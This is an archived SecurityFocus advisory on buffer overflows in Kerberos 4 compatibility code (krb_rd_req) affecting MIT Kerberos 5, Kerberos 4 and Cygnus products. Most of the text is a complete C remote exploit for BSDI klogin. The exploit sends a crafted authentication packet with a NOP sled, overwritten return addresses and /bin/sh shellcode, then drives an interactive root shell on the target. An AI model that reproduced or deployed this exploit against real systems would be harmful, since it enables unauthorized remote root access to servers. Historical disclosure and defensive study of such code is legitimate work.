source: http://www.securityfocus.com/bid/1220/info


Several buffer overflow vulnerabilities exist in Kerberos 5 implmenetations due to buffer overflows in the Kerberos 4 compatability code. These include MIT Kerberos 5 releases 1.0.x, 1.1 and 1.1.1, MIT Kerberos 4 patch level 10 (and, most likely, prior releases), and Cygnus KerbNet and Network Security (CNS). The main source of problems is due to a buffer overflow in the krb_rd_req() library function. This function is used by every application that supports Kerberos 4 authentication, including, but not limited to, kshrd, klogin, telnetd, ftpd, rkinitd, v4rcp and kpopd. Therefore, it is possible for a remote attacker to exploit this vulnerability and gain root access on affected machines, or obtain root level access once local.

A setuid version of v4rcp is shipped with RedHat Linux 6.2, as part of a full install. It is possible to use this program, to obtain root level access.

In addition, there are other buffer overruns present in the ksu and krshd sources from MIT. These problems will be remedied in the same release from MIT that fixes the krrb_rd_req() vulnerability.

/*
  
    klogin remote buffer overflow
    by duke ([email protected])  
    
    tested on BSDI 4.0.1 klogin.
    The bug is actually in the kerberos library so this
    affects all kerb services (kerbIV). This code should need
    minimal (if any) modification to use on other kerberos services.
    it will only work if the file /etc/kerberosIV/krb.conf exists.  
    
    -duke
    
*/  
    
#include <stdio.h>
#include <string.h>
#include <netdb.h> 
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h> 
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
    
#define RET 0x8047830
#define NOPLEN 900 
#define MAX(x, y) ((x > y) ? x : y)
    
char bsdi_shell[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76"  
"\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07"
"\xff\xe8\xdc\xff\xff\xff/bin/sh\x00";
    
void usage(char *);
void shell(int);
char *make_data(void);

int offset=0;

int main(int argc, char **argv)
{
  int sockfd, port=543, c;
  char *pkt, buf[1024];
  struct sockaddr_in sin;
  struct hostent *hp;

  while((c = getopt(argc, argv, "p:o:")) != EOF){
    switch(c){ 
      case 'p': port = atoi(optarg); break;
      case 'o': offset = atoi(optarg); break;
      default: usage(argv[0]);
    }
  }
  if(!argv[optind])
    usage(argv[0]);
  if((hp = gethostbyname(argv[optind])) == NULL){
    fprintf(stderr, "can't resolve host\n");
    exit(-1);
  } 
  pkt = make_data();
  bzero(&sin, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);
  sin.sin_addr = *((struct in_addr *)hp->h_addr_list[0]);
  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("socket");
    exit(-1);
  }
  if(connect(sockfd, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("connect"); 
    exit(-1);
  }   
  write(sockfd, pkt, 1221);
  free(pkt);
  shell(sockfd);
}   
  
void usage(char *p) 
{   
  fprintf(stderr, "usage: %s [ -p port ] [ -o offset ] <hostname>\n", p);
  fprintf(stderr, "-p: port to use\n");
  fprintf(stderr, "-o: offset\n");
  exit(0);
} 
  
char *make_data(void)
{   
  char *tmp, *ptr;
  int i;
  if((tmp=(char *)calloc(1250, sizeof(char))) == NULL){
    perror("calloc");  
    exit(-1);
  }   
  ptr = tmp;
  *ptr++ = 0x00;
  memcpy(ptr, "AUTHV0.1", 8);
  ptr+=8;
  for(i=0; i<8; i++)
    *ptr++ = 0x41;  
  *(unsigned long *)ptr = htonl(1200);
  ptr+=4;
  *(unsigned int *)ptr++ = 4;
  *ptr++ = 8;
  *ptr++ = 1;
  for(i=0; i < 600; i+=4)
    *(long *)&ptr[i] = RET + offset;
  memset(ptr+300, 0x90, NOPLEN);
  memcpy(ptr+800, bsdi_shell,
  sizeof(bsdi_shell));
  *(ptr+1000) = 0x00;
  return(tmp);
}   
    
void shell(int sock)
{ 
  fd_set rset;  
  char bu[1024];
  
  write(sock, "cd /; id; pwd; uname -a;\n", 25);
    
  FD_ZERO(&rset); 
  for(;;){
    FD_SET(fileno(stdin), &rset);
    FD_SET(sock, &rset);
    if(select(MAX(sock, fileno(stdin))+1, &rset, NULL, NULL, NULL) < 0){
      perror("select");  
      exit(-1);
    }
    if(FD_ISSET(sock, &rset)){
      char buf[1024]; 
      int n;
  
      bzero(buf, sizeof(buf));
      n = read(sock, buf, sizeof(buf)-1);
      if(n == 0){
        printf("EOF from server\n");
        exit(0);
      }
      if(n < 0){
        perror("read");
        exit(-1);
      } else {
        write(1, buf, n);
      }
    }
    
    if(FD_ISSET(fileno(stdin), &rset)){
      char buf[1024];
     
      bzero(buf, sizeof(buf));
      if(fgets(buf, sizeof(buf)-4, stdin) == NULL){
        printf("OK. Quitting\n");
        close(sock);
        exit(0); 
      } 
      strcat(buf, "\n");
      if(write(sock, buf, strlen(buf)) < 0){
        perror("write");
        exit(0);
      }
    }   
  }     
}